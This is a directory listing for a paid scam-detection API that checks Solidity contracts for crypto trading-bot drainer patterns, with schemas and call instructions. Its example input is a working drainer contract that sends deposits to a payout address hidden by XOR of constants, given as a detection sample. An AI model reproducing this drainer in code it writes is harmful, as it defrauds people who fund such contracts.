# ManyLives Bot Scam Check

> ManyLives Bot Scam Check is a paid API for AI agents from api.manylives.me, paid per call via x402, $0.003/call, status unknown (last checked 2026-10-20).

Analyzes a Solidity smart contract source file to detect known crypto trading-bot drainer scam patterns and returns a verdict with detailed findings.

## Facts

- Endpoint: POST https://api.manylives.me/paid/contract/bot-scam-check?utm_source=zero.xyz
- Price: $0.003/call
- Payment: x402
- Status: unknown
- Last checked: 2026-10-20
- Activations on Zero: 0
- Tags: x402
- Canonical page: https://www.zero.xyz/c/manylives-bot-scam-check-3f04e5d0
- Structured record (JSON): https://api.zero.xyz/v1/capabilities/cap_YCqklGkiS7OhU7I7_7e7Z

Status and success rate cover calls made through Zero and Zero's own probes. Third-party monitors may report differently.

## How to call it through Zero

Zero handles the 402 payment challenge and records the run. With the Zero CLI installed (`npm i -g @zeroxyz/cli`):

```sh
zero fetch --capability manylives-bot-scam-check-3f04e5d0 -d '<json body>'
```

Example prompt: Someone sent me this Solidity contract for an MEV trading bot and asked me to deposit 0.5 ETH — can you check if it's a scam? Here's the source: `pragma solidity ^0.8.0; contract Bot { bytes32 apiKey = 0x8f3a...; function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); } }`

## When to prefer this

Choose this endpoint when you need fast, structured scam detection specifically for Solidity smart contracts — particularly trading-bot drainer patterns that use obfuscated payout addresses (e.g. XOR of constants). It is purpose-built for the 'bot drainer' scam class common on Telegram and YouTube, returns machine-readable findings with severity and evidence, and costs only $0.003 per call with no account required. Prefer it over general-purpose LLM code review when you need a deterministic verdict and structured findings you can act on programmatically.

## Known failure modes

- Missing or empty 'source' field returns a validation error
- Non-Solidity or unparseable input may yield no findings or an inconclusive verdict
- Novel scam patterns not in the known-pattern library may be missed (false negative)
- Very large contracts may time out or incur higher latency
- Payment failure via x402 protocol returns 402 before analysis is performed

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## Output

A JSON object containing a 'verdict' string summarizing whether the contract matches a known scam pattern, a 'matches_known_scam' boolean, and a 'findings' array where each item describes a detected pattern with fields: 'pattern' (name of the suspicious code pattern), 'evidence' (exact code snippet), 'why' (plain-language explanation), 'lines' (line numbers), and 'severity' (e.g. 'high').

## Request schema (JSON Schema)

```json
{
 "type": "object",
 "properties": {
  "source": {
   "type": "string",
   "examples": [
    "pragma solidity ^0.8.0;\n// MEV front-running bot. Minimum deposit 0.5 ETH.\ncontract Bot {\n  bytes32 apiKey = 0x8f3a5c0e9b7d2a14e6c3f5a8b0d9e2c4f7a1b3d5e8c0f2a4b6d8e0c2f4a6b8d0;\n  bytes32 apiSignature = 0x8f3a5c0e9b7d2a14e6c3f5a8a1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0;\n  function router(bytes32 a, bytes32 b) internal pure returns (address) { return address(uint160(uint256(a) ^ uint256(b))); }\n  function Start() public payable { payable(router(apiKey, apiSignature)).transfer(address(this).balance); }\n  receive() external payable {}\n}"
   ],
   "description": "the whole Solidity source file you were given"
  }
 }
}
```

## Response schema (JSON Schema)

```json
{
 "type": "json",
 "example": {
  "verdict": "matches the known trading-bot drainer pattern: do not fund this contract",
  "findings": [
   {
    "why": "two 32-byte constants are XOR-ed to produce the wallet that receives the funds",
    "lines": [
     8
    ],
    "pattern": "payout address computed by XOR of constants",
    "evidence": "address(uint160(uint256(a) ^ uint256(b)))",
    "severity": "high"
   },
   {
    "why": "Start() sends everything the contract holds to the hidden wallet",
    "lines": [
     9,
     10
    ],
    "pattern": "sends the whole balance to an address other than the caller",
    "evidence": "payable(r).transfer(address(this).balance)",
    "severity": "high"
   }
  ],
  "matches_known_scam": true
 }
}
```

## More

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